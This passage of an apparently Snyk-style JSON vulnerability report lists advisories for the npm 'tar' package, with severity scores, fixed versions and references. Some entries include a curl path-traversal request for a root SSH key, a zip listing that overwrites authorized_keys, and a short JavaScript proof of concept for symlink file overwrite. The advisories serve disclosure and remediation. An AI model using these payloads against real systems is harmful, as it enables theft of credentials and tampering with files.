Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", 